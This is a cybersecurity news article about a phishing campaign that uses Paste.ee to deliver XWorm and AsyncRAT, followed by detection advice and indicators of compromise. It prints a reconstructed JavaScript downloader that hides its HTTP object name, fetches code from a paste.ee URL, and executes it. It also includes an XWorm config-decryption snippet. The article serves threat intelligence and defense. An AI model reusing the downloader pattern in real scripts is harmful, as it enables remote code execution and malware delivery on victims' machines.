Cyber Security News

Threat Actors Abuse Paste.ee Platform to Deploy XWorm and AsyncRAT

Security researchers have uncovered a sophisticated malware campaign leveraging the legitimate Paste.ee platform to distribute XWorm and AsyncRAT payloads across global command-and-control (C2) infrastructure.

First identified in May 2025, the operation uses heavily obfuscated JavaScript downloaders to retrieve secondary payloads from Paste.ee links, exploiting the service’s credibility to bypass initial detection layers.

Hunt.io analysts confirmed the campaign has infected over 9,500 URLs tied to paste.ee, with infrastructure spanning Germany, the United States, and offshore hosting providers.

Malicious Responses from paste.ee URLs (Source – Hunt.io)

The attack chain begins with phishing emails distributing malicious JavaScript files masquerading as delivery notifications.

One sample, “DOCUMENT FOR DELIVERY INFORMATION.js,” uses Unicode character manipulation to hide its HTTP request logic while dynamically reconstructing the MSXML2.XMLHTTP ActiveX object.

Phishing URLs Related to passte.ee on the Hunt.io platform (Source – Hunt.io)

This technique allows the script to fetch encrypted payloads from Paste.ee URLs like http://paste.ee/d/s1uVin8i/0, which host either XWorm or AsyncRAT binaries.

Hunt.io’s automated threat intelligence platform detected anomalous SSL certificate patterns on critical ports, linking the activity to known AsyncRAT C2 servers operating under Germany-based hosting provider dataforest GmbH.

Infection Mechanism and Payload Execution Analysis

The malware’s infection sequence relies on multi-stage obfuscation to evade static analysis. Initial JavaScript payloads contain junk characters and broken syntax designed to confuse basic string-matching detectors.

Below is a reconstructed version of the downloader’s core functionality:-

```javascript  
// Dynamically build HTTP object to bypass keyword scanners  
var httpObj = new ActiveXObject("M" + "SXML2.XML" + "HTTP");  
var payloadURL = "hxxp://paste[.]ee/d/s1uVin8i/0".replace(/xx/g,"tt");  

httpObj.Open("GET", payloadURL, false);  
httpObj.Send();  
var maliciousCode = httpObj.ResponseText;  

// Execute retrieved payload via Function constructor  
(new Function(maliciousCode))();  
```

This script retrieves encrypted binaries that undergo additional decryption routines post-execution.

XWorm variants discovered in the campaign employ AES-encrypted configuration blocks containing C2 IPs and communication parameters:-

csharp Settings.Hosts = Conversions.ToString(AlgorithmAES.Decrypt(Settings.Hosts)); Settings.Port = Conversions.ToString(AlgorithmAES.Decrypt(Settings.Port)); Settings.KEY = Conversions.ToString(AlgorithmAES.Decrypt(Settings.KEY));

The decrypted configurations reveal connections to IP 45.145.43.244 (Germany) on ports 6606/7707, hosting AsyncRAT SSL certificates first observed in February 2025.

XWorm’s keylogging module captures system-wide input while masquerading as benign background processes, periodically exfiltrating data via AES-encrypted HTTP POST requests.

Hunt.io’s infrastructure analysis revealed coordinated C2 operations across multiple ASNs, including QuadraNet Enterprises LLC (US) and SC ITNS.NET SRL (Romania).

Threat actors maintained persistence through spoofed FiveM game server certificates on port 30120 and RDP services on port 3389 using hostnames like WIN-RI8CECQIG28.

Security teams are advised to monitor for anomalous Paste.ee URL patterns (https://paste.ee/d/[a-zA-Z0-9]{5}/0) and inspect JavaScript files for Unicode-based obfuscation.

Network traffic to German IP 45.145.43.244 or its associated domain abuwire123[.]ddns[.]net should trigger immediate containment protocols.

Speed up and enrich threat investigations with Threat Intelligence Lookup! -> 50 trial search requests

Tushar Subhra Dutta

Tushar is a senior cybersecurity and breach reporter. He specializes in covering cybersecurity news, trends, and emerging threats, data breaches, and malware attacks. With years of experience, he brings clarity and depth to complex security topics.

Recent Posts

Google Chrome 153 Update Fixes 42 Security Flaws, Including 3 Critical Ones

Google has released an important Chrome 153 security update that fixes 42 vulnerabilities across the…

4 hours ago

CISA and NIST Release Technical Checklist for Safeguarding Identity Tokens From Theft and Misuse

The Cybersecurity and Infrastructure Security Agency (CISA) and the National Institute of Standards and Technology…

14 hours ago

CISA Shares 17 Techniques Used by Hackers to Compromise Active Directory Environments

CISA and five international cybersecurity agencies have released detailed guidance describing 17 common techniques hackers…

15 hours ago

Apple Rolls Out Massive Security Update Fixing 273 Vulnerabilities Across Its Devices

Apple has released one of its largest coordinated security rollouts, addressing 273 distinct critical vulnerabilities…

15 hours ago

How to Keep Malware’s Rotating Infrastructure From Becoming a Detection Gap

You can’t detect today's attacks with yesterday’s threat intelligence; that’s how you could briefly formulate…

15 hours ago

Microsoft Bans Its AI Models From Launching Cyberattacks or Escalating Their Own Access

Microsoft has published a draft Humanist AI Code of Conduct that would prohibit its in-house…

15 hours ago